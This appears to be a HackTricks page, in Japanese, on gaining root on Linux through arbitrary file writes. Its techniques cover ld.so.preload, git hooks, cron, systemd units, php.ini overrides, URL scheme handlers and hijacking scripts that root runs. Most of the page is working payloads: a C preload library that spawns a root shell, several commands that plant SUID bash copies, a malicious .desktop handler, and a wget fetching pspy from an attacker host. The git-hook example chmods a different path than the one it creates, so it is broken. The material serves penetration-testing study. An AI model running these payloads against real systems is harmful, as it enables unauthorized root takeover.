ルートへの任意のファイル書き込み
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
/etc/ld.so.preload
このファイルは LD_PRELOAD 環境変数のように動作しますが、SUID binaries でも機能します。
もしこのファイルを作成または変更できるなら、実行される各バイナリとともにロードされるライブラリへのパスを追加するだけで済みます。
例えば: echo "/tmp/pe.so" > /etc/ld.so.preload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Git hooks
Git hooks は、git リポジトリ内でコミットが作成されたり、merge が行われたりするようなさまざまなeventsでrunされるscriptsです。したがって、privileged script or user がこれらの操作を頻繁に行い、write in the .git folder が可能であれば、これを利用して privesc することができます。
例えば、git リポジトリの .git/hooks にgenerate a script を置けば、新しい commit が作成されるたびに常に実行されるようにできます:
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
Cron & Time files
もし write cron-related files that root executes ことができれば、通常ジョブが次に実行される際に code execution を得られることが多いです。興味深いターゲットは以下の通りです:
/etc/crontab/etc/cron.d/*/etc/cron.hourly/*,/etc/cron.daily/*,/etc/cron.weekly/*,/etc/cron.monthly/*- Root’s own crontab in
/var/spool/cron/or/var/spool/cron/crontabs/ systemdtimers and the services they trigger
簡単なチェック:
ls -la /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
find /var/spool/cron* -maxdepth 2 -type f -ls 2>/dev/null
systemctl list-timers --all 2>/dev/null
grep -R "run-parts\\|cron" /etc/crontab /etc/cron.* /etc/cron.d 2>/dev/null
典型的な悪用経路:
- Append a new root cron job を
/etc/crontabまたは/etc/cron.d/のファイルに追加する - Replace a script を、既に
run-partsによって実行されているスクリプトと置き換える - Backdoor an existing timer target を、起動するスクリプトやバイナリを変更してバックドア化する
最小限の cron ペイロードの例:
echo '* * * * * root cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash' >> /etc/crontab
もし run-parts によって使用される cron ディレクトリ内にしか書き込めない場合は、代わりにそこに実行可能なファイルを置いてください:
cat > /etc/cron.daily/backup <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4777 /tmp/rootbash
EOF
chmod +x /etc/cron.daily/backup
注意:
run-partsは通常ドットを含むファイル名を無視するため、backupのような名前をbackup.shの代わりに使う方がよい。- 一部のディストリビューションでは従来の
cronの代わりにanacronやsystemdtimers を使うが、悪用の考え方は同じ:root が後で実行するものを変更する。
Service & Socket files
systemd の unit ファイル、またはそれらから参照されるファイルを書き込めるなら、ユニットを再読み込み・再起動することで、あるいはサービス/ソケットのアクティベーション経路がトリガーされるのを待つことで、root としてコード実行を得られる可能性がある。
興味深いターゲットには次が含まれる:
/etc/systemd/system/*.service/etc/systemd/system/*.socket- Drop-in overrides in
/etc/systemd/system/<unit>.d/*.conf ExecStart=,ExecStartPre=,ExecStartPost=に参照されるサービスのスクリプト/バイナリ- root サービスによって読み込まれる、書き込み可能な
EnvironmentFile=パス
クイックチェック:
ls -la /etc/systemd/system /lib/systemd/system 2>/dev/null
systemctl list-units --type=service --all 2>/dev/null
systemctl list-units --type=socket --all 2>/dev/null
grep -R "^ExecStart=\\|^EnvironmentFile=\\|^ListenStream=" /etc/systemd/system /lib/systemd/system 2>/dev/null
一般的な悪用経路:
- Overwrite
ExecStart=自分が変更できる root 所有の service unit 内で - Add a drop-in override 悪意のある
ExecStart=を含む drop-in override を追加し、まず既存のものを消去する - Backdoor the script/binary unit によって既に参照されているものに対して
- Hijack a socket-activated service ソケットが接続を受け取ったときに起動する対応する
.serviceファイルを変更することによって
Example malicious override:
[Service]
ExecStart=
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash'
典型的なアクティベーションのフロー:
systemctl daemon-reload
systemctl restart vulnerable.service
# or trigger the socket-backed service by connecting to it
If you cannot restart services yourself but can edit a socket-activated unit, you may only need to wait for a client connection to trigger execution of the backdoored service as root.
特権付き PHP サンドボックスで使われる制限付き php.ini を上書きする
一部のカスタムデーモンは、ユーザーが提供した PHP を php を 制限付き php.ini で実行して検証します(例: disable_functions=exec,system,...)。サンドボックス内のコードがまだ 何らかの書き込みプリミティブ(例: file_put_contents)を持ち、デーモンが使用している 正確な php.ini パス に到達できる場合、その設定を 上書きして制限を解除 し、権限昇格した状態で動作する第2のペイロードを送信できます。
典型的なフロー:
- 最初のペイロードがサンドボックス設定を上書きする。
- 2つ目のペイロードが、危険な関数が再度有効になった状態でコードを実行する。
最小の例(デーモンが使用するパスに置き換えてください):
<?php
file_put_contents('/path/to/sandbox/php.ini', "disable_functions=\n");
If the daemon runs as root (or validates with root-owned paths), the second execution yields a root context. This is essentially privilege escalation via config overwrite when the sandboxed runtime can still write files.
binfmt_misc
The file located in /proc/sys/fs/binfmt_misc indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
スキーマハンドラの上書き(like http: or https:)
被害者の設定ディレクトリに書き込み権限を持つ攻撃者は、システムの挙動を変えるファイルを容易に置換または作成でき、意図しないコード実行を引き起こします。$HOME/.config/mimeapps.list ファイルを変更して HTTP および HTTPS の URL ハンドラを悪意あるファイルに向ける(例: x-scheme-handler/http=evil.desktop と設定する)ことで、攻撃者は どの http または https のリンクをクリックしてもその evil.desktop ファイルで指定されたコードが実行される ようにできます。たとえば、$HOME/.local/share/applications にある evil.desktop に次の悪意あるコードを置くと、外部の URL をクリックするたびに埋め込まれたコマンドが実行されます:
[Desktop Entry]
Exec=sh -c 'zenity --info --title="$(uname -n)" --text="$(id)"'
Type=Application
Name=Evil Desktop Entry
詳細はthis postを確認してください。ここでは実際の脆弱性を悪用するために使用されました。
Root がユーザー書き込み可能なスクリプト/バイナリを実行する場合
特権を持つワークフローが /bin/sh /home/username/.../script のようなもの(または権限のないユーザーが所有するディレクトリ内の任意のバイナリ)を実行している場合、それをハイジャックできます:
- 実行の検出: pspyでプロセスを監視し、rootがユーザー制御のパスを呼び出すのを捕捉します:
wget http://attacker/pspy64 -O /dev/shm/pspy64
chmod +x /dev/shm/pspy64
/dev/shm/pspy64 # wait for root commands pointing to your writable path
- Confirm writeability: 対象ファイルとそのディレクトリの両方があなたのユーザーによって所有され、書き込み可能であることを確認する。
- Hijack the target: 元の binary/script のバックアップを取り、SUID shell を作成する payload を配置(または他の root action を実行)し、権限を元に戻す:
mv server-command server-command.bk
cat > server-command <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chown root:root /tmp/rootshell
chmod 6777 /tmp/rootshell
EOF
chmod +x server-command
- Trigger the privileged action(例: UI ボタンを押して helper を起動する)。root が hijacked path を再実行したとき、
./rootshell -pで escalated shell を取得する。
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


